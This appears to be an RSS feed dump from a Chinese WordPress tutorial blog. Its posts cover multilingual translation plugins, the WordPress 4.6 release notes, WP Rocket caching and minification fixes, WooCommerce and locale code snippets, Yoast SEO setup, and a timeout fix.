这款插件的许可证起价是29美元,完整版售价为79美元,不过真的很值哦!开始使用插件之前要添加eCommerce多语言支持和翻译小工具,也可以在站点仪表盘进行翻译,这样,和您使用不同语言的用户,也能自己看懂主题和插件设置页面。

当然喽,这款插件最主要的功能是进行翻译。使用WPML插件,对站点内容既可以人工翻译,又可以自动翻译。

如果您需要自动翻译,WPML可以和ICanLocalize和Cloudwords服务器同步。它可以将您站点的内容发给相应服务器进行翻译,并能得到不错的翻译结果。

如果您更喜欢人工翻译,可以使用WordPress文本编辑器,在原文旁边输入译文即可。

您还可以鼓励您的访客翻译您站点的内容,您可以将他们的角色指定为译员用户。该用户应该在注册过程中填写自己使用的语言。站长可以为这些译员制定具体的翻译内容。

Google Website Translator от Prisna.net (免费)

google-website-translator

为使翻译变得快速便捷,很多人更喜欢使用谷歌翻译器。谷歌翻译是一种不错的免费翻译服务(尽管翻译质量不是很好),这项服务是免费的,并能支持100多种语言。

既然这项服务这么好,干嘛不用它来翻译自己站点的内容呢?这款免费插件可以让整个翻译过程实现自动化。

插件使用起来很简单:您只需要安装并激活插件,并设置您站点的源语言,然后选择目标语言(可以全选Google翻译器的支持语言)。翻译管理面板一目了然,令整个翻译过程变得特别容易。

您可以在您的站点侧边栏放一个Prisna GWT专用小工具(也可以使用简码插入文章中)。用户可以在出现的列表中选择自己使用的语言或者点击相应的国旗图标。每个小工具都有四种样式可供选择.

这款插件可以将您站点的内容即时翻译成用户选中的语言–就这么简单

Polylang (免费)

Polylang

Polylang属于人工翻译插件。这意味着,您只有熟练掌握语言,才能对自己站点的内容进行人工翻译,或者您也可以雇人来翻译。但是对于所有想管理多语言站点的人来说,这款插件使用起来很方便。

您需要在插件设置页面添加您站点应当支持的语言(该插件支持的语言近100种)。每种语言都是单独添加的,您需要为其选择唯一的双字母编码。您也可以选择语言名称或者点击相应的国旗图标。

现在您就可以对任何文章、页面、文章形式、评论、分类、标签或者菜单进行翻译啦!需要强调的是,您用不着把每篇文章都翻译一遍,您只翻译您需要的内容就可以了。

每一篇译文发布后会生成一个唯一的、并带有您在设置时指定的双字母编码的URL地址。用户可以使用相应的小工具进行切换。

如果您想从WPML切换到Polylang,可以使用专门的插件,

Lingotek Translation (免费)

lingotek-translation

如果您喜欢Polylang提供的功能,但是翻译水平又不行,那么Lingotek对您来说就是最好的选项。Lingotek是利用最好的插件Polylang构建的免费翻译管理云系统。

Lingotek提供了三种翻译解决方案。

  • 机器翻译–利用Microsoft Translator,可以免费翻译前10万个字符。
  • 团队翻译–提供给您或者您的同事/用户。利用内置的Lingotek Workbench专用文本编辑器对网站内容进行翻译。
  • 专业翻译–如果您的资金充裕,这个方案是最好的。您可以从Lingotek网站近5 000名专业译员中聘请一位。为便于您跟踪翻译进度并选拔最适合您的团队成员,应该为每一位译员创建一个用户资料页面。

还有其他插件可以完成水平比较高的机器翻译或团队翻译,但是谁也不能跟Lingotek网竞争(不过您可以聘用专业译员,利用Lingotek的专业版文本编辑器工作)。专业的、高质量的译文能为您的网站带来更多的不会说您母语的用户,

插件可以把您的内容通过云端自动发送到Lingotek服务器上。您可以通过显示框实时跟踪翻译过程,翻译完成后即可将所翻译的内容发送到您的站点。整个流程完全自动化。

Babble (免费)

这款插件是最好的开源插件之一,同WordPress一样,源代码完全开放。

Babble是同类型插件中速度最快的,用开发者的话说,这款插件已经针对快速运行进行了优化。因此,这款插件的加载时间缩短了20%,查询次数减少了40%。只需从GitHub仓库中下载,并按照简要说明进行安装即可使用。

Babble可以把您的网站内容翻译成无限多种语言,只要切换到WordPress仪表盘翻译界面,然后点击任何一篇您想翻译的已存在的文章、页面或分类目录即可进行翻译。

插件能显示两个并列WordPress可视化编辑器面板,一个显示原文,另一个面板是空白的,您可以里面填写自己的译文。

在面板中填写好译文后,在侧边栏放一个专用小工具,您的用户只需点击一个按钮,便能用他需要的语言阅读您的内容了。

qTranslate-X (免费)

qTranslate-X

在几年时间里qTranslate都是WordPress官方仓库最好用的插件之一。但是随着时间的推移,其更新频率越来越慢,只是暂时还没有被彻底舍弃,2015年还没有从仓库中删除。

qTranslate-X是一款从qTranslate修复的插件,这也说明已经很少有人用它了。实际上新版插件也有很多原版qTranslate所没有的新功能.

这款插件类似Polylang。安装后需要选择默认源语言及添加到自己站点的其他语言,并为每种支持语言创建唯一的双字母编码。不过,qTranslate-X为了方便您,预先为25种最通用的语言设定了国旗图标和编码。

语言代码可以显示出内容是用哪种语言撰写的。这也有利于搜索引擎优化。通过将每一种文字都记录到唯一的URL地址上,搜索引擎可以数次将您的内容进行指数化。

用户访问您的站点时,会自动定位到以他需要的语言显示的页面。他们也可以利用专用小工具切换语言.

您也可以在工具栏上方选择需要的语言进行切换.您很容易就能找到它,这样您就不会因为不懂语言而不知所措了。

用这款插件只能进行人工翻译。您找到WordPress可视化编辑器,就能看到全部已启用语言的国旗图标。您可以点击这些图标切换每种语言的文本编辑器,无需重新加载语言页面。这意味着您可以同时用多种语言撰写内容。

您还可以利用qTranslate-Х让任意文本区显示多语言。比如,除了“购买”按钮显示其他语言外,您想让你的其他全部内容都显示为英文,这样,这款插件就能帮助您翻译成各种语言了。

而且还有其他插件可以确保qTranslate-X和一些更为常用的WordPress插件相互配合使用,包括:

  • WooCommerce and qTranslate-X
  • Yoast SEO and qTranslate-X
  • All in One SEO and qTranslate-X
  • Gravity Forms and qTranslate-X
  • WPBakery Visual Composer and qTranslate-X

所有这些插件,包括会员版,都能从WordPress官方仓库中免费获取。

MultilingualPress (免费)

multilingual-press

MultilingualPress不同于本文介绍的其他插件,它使用的是WordPress Multisite,所以您可以用它让您不同语言、不同版本的站点,例如yourdomain.co.uk、yourdomain.de 和yourdomain.es相互连通

您可以用它连接无数站点。您要做的一切不过是为您的每个站点设定默认语言而已。用户可以利用专用小工具或者添加到每篇文章中的链接来使用自己的母语。

虽然“家族”中的每个站点都是完全独立的,但是MultilingualPress 可以在一个页面上编辑全部文章。同时,不用切换站点即可添加任何已经翻译完的文章,这样就加快了翻译速度,简化了翻译流程。
MultilingualPress 还有个优点,就是它能把您站点分别翻译的版本联系起来,以确保它们之间能够相互链接。插件禁用后,这些分别翻译的版本还会继续存在,同插件被启用时是一样的。
还有一款插件能帮您从WPML换成MultilingualPress。

结论

最后要说的是,如果您还想让其他地区的用户访问您的站点,可以看看Google Analytics,确定您的站点在哪些地方最受欢迎,然后考虑一下是否需要把您的站点内容翻译成当地语言。
您可能已经发现,这篇评论文章中提到的大多数插件下载、安装和使用都不受限制。这就将风险降到了最低限度,能够帮助WordPress用户展示自己的语言能力,动手对内容进行翻译。
究竟该选哪款插件呢?这通常取决于您打算怎么使用它。

同其他插件相比,翻译插件的工作原理差别可能更大。某些插件要求您提供译文,同时另一些插件使用的则是自动化服务。有些插件会把译文发送到单个URL地址,同时另一些插件则使用WordPress Multisite。两种完全相同的插件是没有的。

您要考虑一下您想怎么翻译您的内容,然后再决定具体选哪一款插件。这里所介绍的全部插件都是可以找到的,所以无论您选择哪一款,都能获得高质量译文。

7款最好用的 WordPress 多语言翻译插件,首发于蓝月网络

]]>
WordPress 4.6 正式版发布 https://lanyueer.com/wordpress-4-6/ Sat, 20 Aug 2016 01:49:02 +0000 http://lanyueer.com/?p=672 WordPress 4.6 正式版已经发布了,取名为 Pepper ,纪念美国爵士男中音萨克斯手 Park F…

WordPress 4.6 正式版发布,首发于蓝月网络

]]>
WordPress 4.6 正式版已经发布了,取名为 Pepper ,纪念美国爵士男中音萨克斯手 Park Frederick “Pepper” Adams III。如果你要了解 WordPress 4.6 的主要更新,可以看下 WordPress 4.6 相关文章。

whatsnewwp4-6

截止发稿,WordPress 4.6 英文版已经在后台推送,如果你目前安装的是中文版,也可以进行升级,除了可能有少数文字显示英文外,基本都可以显示中文的,后面简体中文出来的时候,可以再次更新下即可。

是否更新,请根据自己的情况决定,如果你的主题或某些插件明确不支持 4.6,请不要升级。如果要升级,也建议备份好网站文件和数据库,再进行升级操作。

点击下载 WordPress 4.6 英文版

WordPress 4.6 正式版发布,首发于蓝月网络

]]>
WP Rocket排除动态文件名 https://lanyueer.com/wp-rocket-exclude-dynamic-file-name/ Thu, 18 Aug 2016 14:12:13 +0000 http://lanyueer.com/?p=668 动态修改文件名 大多数情况下,当你想从最小化排除CSS文件,将有一个简单的文件名如 style.css。从最小…

WP Rocket排除动态文件名,首发于蓝月网络

]]>
动态修改文件名

大多数情况下,当你想从最小化排除CSS文件,将有一个简单的文件名如 style.css。从最小化中排除这种类型的文件是很简单的。因为文件名从不会改变。如果不会可以查看下面的教程:

WP-Rocket解决最小化问题

然而,有时您可能看到主题或插件使用了 动态文件名。最典型的莫过于 The7 主题。其使用了动态文件名如style-12345678.css这个数字是变化的。

也就是说如果你排除了style-12345678.css,实际上可能没有效果,因为文件名变成了style-98765432.css.

从最小化中排除动态文件名

如何成功地从最小化排除CSS文件? 我们将使用正则表达式来处理这个问题。

通过查看源代码发现the7主题的css如下:

file-V0CgDBh0LA

这些动态文件如下:

main-07f3e342a4.css?v=2.3.5
custom-07f3e342a4.css?v=2.3.5
media-07f3e342a4.css?v=2.3.5

文件结构如下:

[基本文件名]-[动态扩展].css?v=[版本号]

我们可以不考虑版本号,保留基本文件名,动态扩展使用正则,也就是说变得部分使用正则。

因此如下:

main-(.*).css
custom-(.*).css
media-(.*).css

最后在排除的css如下:

css-min

 

WP Rocket排除动态文件名,首发于蓝月网络

]]>
WP-Rocket解决最小化问题 https://lanyueer.com/wp-rocket-solve-the-minimization-problem/ Thu, 18 Aug 2016 14:04:31 +0000 http://lanyueer.com/?p=663 如果您激活了WP Rocket最小化特色 (文件最小化),有时会发现网站存在一些外观问题。这可能是部分CSS/…

WP-Rocket解决最小化问题,首发于蓝月网络

]]>
如果您激活了WP Rocket最小化特色 (文件最小化),有时会发现网站存在一些外观问题。这可能是部分CSS/JS文件并不适合最小化。在启用最小化后,您的网站看上去“撑破了”,下面我们就此问题提供解决方案。

警告: 如果您的网站当前使用了不久即来/密码保护插件,这是对游客隐藏内容的,或授权HTTP访问,最小化不工作,您必须关闭保护才可使用 。

检测问题文件

不是所有的文件都是可以最小化和合并的。解决办法是排除 检测到的问题文件

按下面的方法进行:

1
关闭所有最小化。
2
使用下面的工具生成所有的js和css文件:
wp-rocket.me/tools/wp-rocket/debug/minify最需要把您的网址放到wprocketliu

然后,点“Get css & JS Files”。

file-WkMEOPH0Fo

3
复制所有的js和css进入排除的选项。wp-rocketjs
4
重新开启最小化
5
然后一个一个删除,进行测试,直到合适为止。

如果你外部文件引起的,请查看:

WP Rocket最小化时如何排除外部JS

 

WP-Rocket解决最小化问题,首发于蓝月网络

]]>
WP Rocket最小化时如何排除外部JS https://lanyueer.com/rocket-wp-exclude-external-js/ Thu, 18 Aug 2016 14:01:14 +0000 http://lanyueer.com/?p=661 有时对于一个外部 JavaScript文件和最小化存在问题。外部文件不可能最小化,但是它们被移到页面顶部。为了…

WP Rocket最小化时如何排除外部JS,首发于蓝月网络

]]>
有时对于一个外部 JavaScript文件和最小化存在问题。外部文件不可能最小化,但是它们被移到页面顶部。为了阻止发生,您可能需要借助MU插件或在主题functions.php文件中修改。按照下面的WP Rocket教程操作。

例如您注意到下面的js文件:

https://cdnjs.cloudflare.com/ajax/libs/Flowtype.js/1.1.0/flowtype.min.js

…这个 您必须从WP Rocket’s文件优化中排除的地址部分 类似这样:

cdnjs.cloudflare.com

同理,您可以处理其它的外部文件地址,仅域名或子域名。

通过自定义MU(必须使用)插件排除

1
创建 mu-plugins 文件夹,在你的网站 wp-content 文件夹下.
2
使用文本编辑器 创建新的文件 并放下面的代码进去。

&lt;?php
defined( 'ABSPATH' ) or die( 'Cheatin’ uh?' );
/**
 * Plugin Name: WP Rocket | External Script Handler
 * Description: Exclude external scripts from WP Rocket’s file optimization.
 * Author:      WP Rocket Support Team (Jonathan)
 * License:     GNU General Public License v3 or later
 * License URI: http://www.gnu.org/licenses/gpl-3.0.html
 */
 
/**
 * Exclude external scripts from WP Rocket’s file optimization.
 * @param  array  $external_js Array of external domains
 * @return array               Extended array of external domains
 */
function __fix_wprocket_excluded_external_js( $external_js ) {
 
	/**
	 * Replace with your external script domain.
	 */
	$external_js[] = 'cdnjs.cloudflare.com';
 
	return $external_js;
}
add_filter( 'rocket_minify_excluded_external_js', '__fix_wprocket_excluded_external_js' );
3
保存为 wp-rocket-external-js.php
4
上传这个文件mu-plugins 文件夹中.
5
最后 停用并激活 WP Rocket.

通过您的主题排序

把下面的代码放入子主题或您的主题的 functions.php 文件中。

/**
 * Exclude external scripts from WP Rocket’s file optimization.
 * @param  array  $external_js Array of script URL fragments
 * @return array               Extended array of script URL fragments
 */
function __fix_wprocket_excluded_external_js( $external_js ) {
 
	/**
	 * Replace with your external script URL part.
	 */
	$external_js[] = 'cdnjs.cloudflare.com';
 
	return $external_js;
}
add_filter( 'rocket_minify_excluded_external_js', '__fix_wprocket_excluded_external_js' );

WP Rocket最小化时如何排除外部JS,首发于蓝月网络

]]>
WP Rocket没有缓存的原因分析 https://lanyueer.com/reason-analysis-of-rocket-wp-without-cache/ Thu, 18 Aug 2016 13:56:03 +0000 http://lanyueer.com/?p=659 如果您的WP Rocket没有缓存或没有最小化您的CSS和JS文件,可能是没有满足最小化需求。或者可能是以前安…

WP Rocket没有缓存的原因分析,首发于蓝月网络

]]>
如果您的WP Rocket没有缓存或没有最小化您的CSS和JS文件,可能是没有满足最小化需求。或者可能是以前安装了其他缓存插件,如果安装了,可能存在未清除的文件和留下了配置。

为了正确的工作, WP Rocket需要下面的要求:

1、WP-config.php 需要可写.
确保下面的一行在文件顶部。如果离顶部太远,可能不工作!

  1.  /** Enable Cache by WP Rocket */
  2. define( 'WP_CACHE', true );

确保没有其它插件流行的参数,例如Super Cache遗留下面的:

  1. define( 'WPCACHEHOME', '/path-to-your-wordpress-install/wp-content/plugins/wp-super-cache/' ); //Added by WP-Cache Manage

2、确保 wp-content/cache 文件夹具有 可写权限 并且里面有两个文件夹: /min 和 /wp-rocket
并且它们都是可写的。
如果这些文件夹不存在,那你应该手动创建他们。如果之前使用过其他缓存插件,可能会有它们自己的文件夹。在wp-content/cache 文件夹里, 仅有两个 WP Rocket创建的是 /min 和 /wp-rocket。所有其他的都应该删除。Super Cache 在wp-content创建的 wp-cache-config.php 文件夹应该被删除。W3 Total Cache 在 wp-content 创建的应该被删除:
文件夹: /w3tc-config
文件: object-cache.php, db.php
并且在 wp-content/cache 创建的文件夹应该被删除:

/config
/db
/object
/page_enhanced
/minify
还可能基于你的设置创建其它的。

3、检查 .htaccess 文件是否可写。

4、确保在wp-content中 advanced-cache.php 文件仅是 WP Rocket参数。

5、确保一个 wp-rocket-config 文件夹出现在 wp-content。如果没有,创建并有可写权限

6、如果您 使用了域名映射进行了多站点安装,试着登录您的域名区,使用映射的域名替代原始域名,然后停用 / 重新激活 WP Rocket。这将启用 WP Rocket 去检测正确的域名并重新缓存。

7、有时另一个插件设置了常数 不缓存页面 。这会重写所有的缓存插件,因此需要移除
两个已知的插件添加不要缓存( DONOTCACHEPAGE )常数: s2 MemberWooCommerce Klarna Gateway.

8、如果您使用了SSL,确保勾选了 SSL 缓存选项。

在调整后,应该停用/重新激活WP Rocket.

然后您可以通过:
如何检查WP Rocket是否缓存了你的页面?

如何检查WP Rocket是否缓存了你的页面?

  在检查前,先退出您的网站。除非您启用了“为登录用户建立缓存。”这个选项(在基本选项卡里)。如果没有启用,对于登录用户,是无法看到缓存页面的。 要检查WP Rocket是否缓存了你的页面: 1 浏览网页源代码,在网页的最底部会看到。 最后一行的WP Rocket这个字样,表示缓存了。 注意: 如果您激活了 CloudFlare’s...


查看缓存情况。

其他服务器需求
mod_expiremod_deflate 应该被启用
不要限制tmp临时文件夹
curl_exec 函数应该被启用

WP Rocket没有缓存的原因分析,首发于蓝月网络

]]>
如何检查WP Rocket是否缓存了你的页面? https://lanyueer.com/check-wp-rocket/ Thu, 18 Aug 2016 13:50:53 +0000 http://lanyueer.com/?p=654   在检查前,先退出您的网站。除非您启用了“为登录用户建立缓存。”这个选项(在基本选项卡里)。如果没…

如何检查WP Rocket是否缓存了你的页面?,首发于蓝月网络

]]>
 

在检查前,先退出您的网站。除非您启用了“为登录用户建立缓存。”这个选项(在基本选项卡里)。如果没有启用,对于登录用户,是无法看到缓存页面的。

要检查WP Rocket是否缓存了你的页面:

1

浏览网页源代码,在网页的最底部会看到。

wp-rocket-soucer

最后一行的WP Rocket这个字样,表示缓存了。

注意: 如果您激活了 CloudFlare’s HTML 最小化,有时看不到这个注释,但是您可以看到下面两个项目。

2

如果您使用了最小化,您会在网页源代码头部看到,地址包括/wp-content/cache/min/ :

file-6TTHkxNfxz

3

您可以安装 Chrome 或  Firefox 浏览器扩展browser extension Wappalyzer ,其会检查到 WP Rocket 激活。

4

或者使用 FTP, 或您的网站在线文件管理,您可以在服务器上查看到缓存文件 。

首先在退出网站管理,访问几个页面。

然后浏览到: wp-content/cache/wp-rocket
这里您会看到您的完整的文件夹,在里面您会看到一些 .html 和 html_gzip 文件,这些就是缓存文件:

file-cWHOMT8fqj

通过这些方法,如果还不能检查WP Rocket缓存了你的页面,那么可能存储权限和冲突问题。

 

如何检查WP Rocket是否缓存了你的页面?,首发于蓝月网络

]]>
WooCommerce: 产品加入购物车后直接结账 https://lanyueer.com/woocommerce-direct-checkout/ Sun, 14 Aug 2016 07:27:42 +0000 http://lanyueer.com/?p=652 WooCommerce中,非Ajax情况下,点击加入购物车按钮后跳转到何处可以通过filter:add_to_…

WooCommerce: 产品加入购物车后直接结账,首发于蓝月网络

]]>
WooCommerce中,非Ajax情况下,点击加入购物车按钮后跳转到何处可以通过filter:add_to_cart_redirect修改,下面代码可以实现产品加入购物车后直接结账的功能,跳过购物车页面。

如果你希望Shop首页或分类页中的加入购物车按钮也具备这种效果,不要勾选Enable AJAX add to cart buttons on archives功能。否则该代码只在单个产品页面有效。

代码放在主题的funcitons.php中即可。

  1. add_filter ('add_to_cart_redirect', 'redirect_to_checkout');
  2.  
  3. function redirect_to_checkout() {
  4.     global $woocommerce;
  5.     $checkout_url = $woocommerce->cart->get_checkout_url();
  6.     return $checkout_url;
  7. }

WooCommerce: 产品加入购物车后直接结账,首发于蓝月网络

]]>
Yoast WordPress SEO 设置教程 https://lanyueer.com/yoast-wordpress-seo-tutorails/ Sun, 24 Jul 2016 01:38:46 +0000 http://lanyueer.com/?p=626 我们都知道,WordPress本身对搜索引擎的优化是非常友好的,除了主题的本身前端结构的优化,WordPres…

Yoast WordPress SEO 设置教程,首发于蓝月网络

]]>
我们都知道,WordPress本身对搜索引擎的优化是非常友好的,除了主题的本身前端结构的优化,WordPress自身的ping机制,以及固定连接的设定等等,对seo优化都非常不错。

但是如果你想要增强这种优化水平,那么还需要WordPress的seo插件支持,这样能够全面的提升你的网站seo的效率,今天我们就来教大家使用一款在WordPress插件排名非常靠前并且评价非常高的seo插件《Yoast WordPress SEO》
初步设置
安装完成之后,你可以看到后台会多了一个“seo”的选项:

seo_ds923

这款主题的后台设定是中文的,所以看起来非常容易设置,你可以按照下图的方法进行设置:

控制面板: 你可以按照中文提示来决定是否使用其中的功能,一般默认即可。

标题&元标记–常规

1.强制重写标题   : 如果你在SEO插件中修改了标题,但是网站却显示默认标题 ,那么你需要勾选这个选项,他会完全替换掉默认的标题

2.Title Separator: 标题与副标题的分割字符选择

3.站内meta设置: 这里勾选”

4.清理header:如果你的主题没有提供清理header的功能,你可以勾选上,WEB主题公园的主题一般都提供了这个功能

 

标题&元标记–首页、文章、分类、其他

这里是如果你没有特别设定首页、文章、分类、页面和其他的关键词、描述等信息,他们就会调用这里的默认信息。

标题、元关键词、元描述是使用的变量调用的(变量是一个类似于代数的符号,它对应会调用一些你的网站中的信息,比如%%title%%  ==  文章/页面/分类等的标题)

下面是这个插件的变量所代表的你网站中调用信息,你可以填写这些变量,让你的网站自动调用这些信息,也可以直接填写固定的关键词和描述(文字,汉字或者英文)
%%date%% 文章/页面的日期
%%title%% 文章/页面的标题
%%sitename%% 站点名称
%%sitedesc%% 站点副标题/描述
%%excerpt%% 文章/页面摘要(如不存在则自动生成)
%%excerpt_only%% 文章/页面摘要(不自动生成)
%%tag%% 当前标签
%%category%% 文章分类目录(半角逗号分隔)
%%category_description%% 分类目录描述
%%tag_description%% 标签描述
%%term_description%% 项目描述
%%term_title%% 项目名称
%%pt_single%% 文章形式(单数)
%%pt_plural%% 文章形式(复数)
%%modified%% 文章/页面的修改时间
%%id%% 文章/页面的ID
%%name%% 文章/页面作者的昵称
%%userid%% 文章/页面作者的用户名
%%searchphrase%% 当前搜索词
%%currenttime%% 当前时间
%%currentdate%% 当前日期
%%currentday%% 当前天
%%currentmonth%% 当前月
%%currentyear%% 当前年
%%page%% 当前页码(如第2页/共4页)
%%pagetotal%% 当前总页数
%%pagenumber%% 当前页码
%%caption%% 附件标题
%%focuskw%% 文章目标关键词
%%term404%% Replaced with the slug which caused the 404 %%cf_%% 文章的自定义栏目值
%%ct_%% 文章自定义分类,以半角逗号分隔
%%ct_desc_%% 自定义分类描述

%%sep%% 当前主题wp_title()里的分隔符

自己可以选择以上变量填写进你的关键词元标记和元描述,如果你没有特别在单个文章或者页面中设置,默认会调用他们,

Robots元标记 索引: 这个勾选了就不会让搜索引擎搜索到了,一般不要勾选

其他两项设置看你自己的需求是否勾选。日期勾选的话有利于搜索引擎显示你的文章发布时间。

社会化

社会化是这款插件对应的英文用户使用的社会化,如果你是英文用户可以使用,中文的就不需要设置了

XML站点地图

这个需要你勾选,描述比较清晰,你可以按照自己的想法勾选这些选项,注意的是 勾选完成保存之后 请点击“查看你的XML站点地图”  将弹出的xml地图的url(地址)复制下来,放到你的首页(可以通过友情链接、或者其他的链接放进首页, 然后去百度统计中的提交站点地图)

百度站点地图(Sitemap)xml地图的提交方式:

登陆百度站长平台,点“站点管理”-“添加网站”,在文本框里输入你的网站域名,点“添加网站”完成网站的添加。

seo_baidu

然后点击“数据提交”-“sitemap”-“定时更新”-“添加新数据”,在新出现界面里选择你的域名,更新周期里推荐填写1天,数据文件地址如图所示填写,最后填写验证码提交。

seo_baidu2

这样再回到SITEMAP里你就可以看到一条记录,这就是你向百度提交的网站地图。

这样xml地图就可以ok了,谷歌或者其他的站点地图提交类似,你可以百度一下用法,这里就不再做阐释了。

 

后面的设置基本上也不用过多的解释,插件的中文介绍比较完善,你可以根据自己的要求去填写好

 

单篇文章、分类目录、页面的独立设置seo

这款插件最大的易用性在于可以在单篇文章、页面、分类目录设置SEO。这些设置之后会覆盖默认的seo设置,达到每一篇文章、页面和分类都有不同的seo标记,方便实用。

设置方法也非常简单,点击单篇文章、分类和页面的编辑按钮,可以看到下面有了一个SEO设置,填写即可:

seo22

此外在单篇文章中,可以检测SEO的状态,你可以根据他的提示讲SEO的状态提升为最佳(SEO状态检测经过测试并不是很准确,可能是检测中文字符存在一些兼容的问题,你按照上面的方法都做一遍,觉得都做到了就行了,也不必去管他的SEO提示,当然如果你有强迫症,你也可以研究下如何达到绿色的状态,并分享给我们)

seo11227

到这里,这款插件的用法就介绍完成了。

Yoast WordPress SEO 设置教程,首发于蓝月网络

]]>
WordPress 4.6 Beta 3 已发布 https://lanyueer.com/wordpress-4-6-beta-3/ Thu, 14 Jul 2016 13:17:21 +0000 http://lanyueer.com/?p=616 WordPress 团队的开发速度还是很快的,WordPress 4.6 Beta 3 已经可以下载测试了(点…

WordPress 4.6 Beta 3 已发布,首发于蓝月网络

]]>
WordPress 团队的开发速度还是很快的,WordPress 4.6 Beta 3 已经可以下载测试了(点此下载)。记得不要用于已上线的站点哦。

看看相对于 Beta 2,这个版本的改进:

  • 修订版本:当禁止了版本修订功能,自动保存现在可以恢复(#36262).
  • 改进PHP的内存限制处理,不会再低于限制值了 (32075).
  • TinyMCE 已更新到 4.4.0 (37327).
  • HTTP API: 已修复代理设置不被新的 HTTP 库支持的问题 (#37107).
  • 改进了邮件的 UTF-8 地址头的处理 (#21659).
  • 其他 65 处改进

WordPress 4.6 Beta 3 已发布,首发于蓝月网络

]]>
WordPress 4.6 Beta 1 已发布 https://lanyueer.com/wordpress-4-6-beta-1/ Mon, 04 Jul 2016 13:37:53 +0000 http://lanyueer.com/?p=613 WordPress 4.6 Beta 1已发布,该版本目前还在开发中,请不要用户已上线的正式网站。你可以使用W…

WordPress 4.6 Beta 1 已发布,首发于蓝月网络

]]>
WordPress 4.6 Beta 1已发布,该版本目前还在开发中,请不要用户已上线的正式网站。你可以使用WordPress Beta Tester 插件测试新版本,或者点此下载 WordPress 4.6 Beta 1

WordPress 4.6 正式版计划在美国时间 8 月 16 日发布,先来看看主要的改进:

  • 改进插件和主题的安装、更新和删除体验([37714])
  • WP后台不再使用Google字体,换回系统自带字体,有助于加快后台速度(#36753)
  • 改进编辑器 – 更可靠的恢复模式(#37025)以及检测输入的错误网址(#36638)

此外,开发者还应注意以下修改:

  • Resource Hints (#34292) – Allow browsers to prefetch specific pages, render them in the background, perform DNS lookups, or to begin the connection handshake (DNS, TCP, TLS) in the background.
  • New WP_Site_Query (#35791) and WP_Network_Query (#32504) classes to query sites and networks with lazy loading for details.
  • Requests (#33055) – A new PHP library for HTTP requests that supports parallel requests and more.
  • WP_Term_Query (#35381) is modeled on existing query classes and provides a more consistent structure for generating term queries.
  • Language Packs (#34114, #34213) – Translations managed throughtranslate.wordpress.orgnow have a higher priority and are loaded just-in-time.
  • WP_Post_Type (#36217) provides easier access to post type objects and their underlying properties.
  • The Widgets API (#28216) was enhanced to support registering pre-instantiated widgets.
  • Index definitions are now normalized by dbDelta() ([37583]).
  • Comments can now be stored in a persistent object cache (#36906).
  • External Libraries were updated to the latest versions – Masonry to 3.3.2 and imagesLoaded to 3.2.0 (#32802), MediaElement.js to 2.21.2 (#36759), and TinyMCE to 4.3.13 (#37225).
  • REST API responses now include an auto-discovery header (#35580) and a refreshed nonce when responding to an authenticated response (#35662).
  • Expanded Meta Registration API via register_meta() (#35658).
  • Customizer – Improved API for setting validation (#34893, #36944).

WordPress 4.6 Beta 1 已发布,首发于蓝月网络

]]>
WordPress 前台和后台设置不同的语言 https://lanyueer.com/different-langues-for-frontend-and-admin/ Mon, 04 Jul 2016 13:36:01 +0000 http://lanyueer.com/?p=612 一般情况下,我们在后台 设置 – 常规 那里选择了什么语言,我们的网站的前台和后台都会应用这个语言。 2016…

WordPress 前台和后台设置不同的语言,首发于蓝月网络

]]>
一般情况下,我们在后台 设置 – 常规 那里选择了什么语言,我们的网站的前台和后台都会应用这个语言。

2016-07-02_090232_wpdaxue_com

在给客户定制网站的时候,对方需要前台显示英文,后台显示中文。其实也是可以做到的,将下面的代码添加到主题的 functions.php 即可:

  1. /**
  2.  * setup one language for admin and the other for theme
  3.  * must be called before load_theme_textdomain()
  4.  */
  5. function cmp_set_my_locale($locale) {
  6.     $locale = ( is_admin() ) ? "zh_CN" : "en_US";
  7.     setlocale(LC_ALL, $locale );
  8.     return $locale;
  9. }
  10. add_filter( 'locale', 'cmp_set_my_locale' );

注意看第6行代码,前面的 zh_CN 是中文,后面的 en_US 是英文,整句代码的意思就是后台使用中文,前台用英文。

特别需要注意的是,这里的前台是指你的 WordPress 主题,也就是说,你的主题必须是支持所设置的那种语言才可以正常显示。假如你的主题自身都没有英文语言包,也就是说不支持显示为英文,即使通过上面的函数设置了前台英文,也一样不会显示英文!

WordPress 前台和后台设置不同的语言,首发于蓝月网络

]]>
WordPress 解决程序超时的问题(Timeout 错误) https://lanyueer.com/timeout-method/ Fri, 10 Jun 2016 14:44:04 +0000 http://lanyueer.com/?p=609 超时是 WordPress 比较常见的一种致命错误,主要发生在程序、插件的更新和在线安装或搜索主题、插件的时候…

WordPress 解决程序超时的问题(Timeout 错误),首发于蓝月网络

]]>
超时是 WordPress 比较常见的一种致命错误,主要发生在程序、插件的更新和在线安装或搜索主题、插件的时候,大都是因为服务器网络不好,无法在规定的程序最长时间内下载好需要的内容。

WordPress 解决程序超时的问题(Timeout 错误)

解决方法一

这种问题比较好解决,无非就是手动提高程序执行的最长时间,可以在 WordPress 根目录的 .htaccess 文件的开头添加下边的代码:

php_value max_execution_time 300

解决方法二

如果你懒得弄,直接安装 WP Maximum Execution Time Exceeded 插件它就会给你办好了,非常轻松!

WordPress 解决程序超时的问题(Timeout 错误),首发于蓝月网络

]]>
WordPress 文章表态插件:Reaction Buttons https://lanyueer.com/reaction-buttons/ Fri, 10 Jun 2016 14:39:26 +0000 http://lanyueer.com/?p=604 你是否想提高网站用户粘性?每个人再看过一篇文章之后都会默默对文章产生一个评价,而这些评价可以帮助你改善网站的用…

WordPress 文章表态插件:Reaction Buttons,首发于蓝月网络

]]>
你是否想提高网站用户粘性?每个人再看过一篇文章之后都会默默对文章产生一个评价,而这些评价可以帮助你改善网站的用户体验,然而,不是所有用户都会去评论区留言,把他们的想法告诉你,因为这很麻烦。

很多的网站文章末尾都会有一个表态区,直接点击对应的按钮就能反映出用户对文章的看法,非常简单,用户也很乐意用这样的方式表达态度。

你也想要这样的功能?如果你使用的是 WordPress,那就简单了,有一个插件可以帮助你实现这个功能。

首先要安装并启用 Reaction Buttons 插件,启用后,进入后台的 “设置” → “Reaction Buttons” 进行插件设置。

WordPress 文章表态插件:Reaction Buttons

第一个选项用来设置是否显示表态按钮。

接下来设置表态按钮出现的位置,可以在文章前、文章后,或者使用 [reaction_buttons] 简码手动调用。

然后进入第三个选项,设置按钮上方的引导语。

下一个选项可以设置都有哪些按钮,每个用逗号(“,”)隔开。

其它选项不再多做介绍。

保存之后,前台就能看到表态按钮了。

WordPress 文章表态插件:Reaction Buttons

自定义按钮样式

这些按钮的设计非常简单,可能不符合你的网站的配色,如果你会使用 CSS,可以自定义按钮的样式。

